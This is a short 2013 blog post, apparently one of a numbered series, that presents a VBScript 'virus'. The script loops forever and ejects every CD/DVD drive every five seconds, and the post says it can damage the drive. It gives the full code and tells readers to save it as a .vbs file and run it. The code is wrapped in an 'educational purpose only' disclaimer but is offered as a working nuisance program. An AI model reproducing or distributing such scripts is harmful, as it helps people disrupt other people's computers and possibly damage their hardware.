Monday, 28 January 2013

7) Virus That Ejects your CD/Dvd Drive Again and Again.

Try at your own risk. I am not responsible for your own deeds. For educational purpose only.

 

 
 













In this blog i will show you how to create a Virus That Ejects your CD/Dvd Drive Again and Again.. Its not a prank... This Can Damage your CD/Dvd Drive... 

Here is the code:


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


Write this code in notepad and save it as anything.vbs
Virus created. Now you just need to click it and Enjoy... :p

2 comments: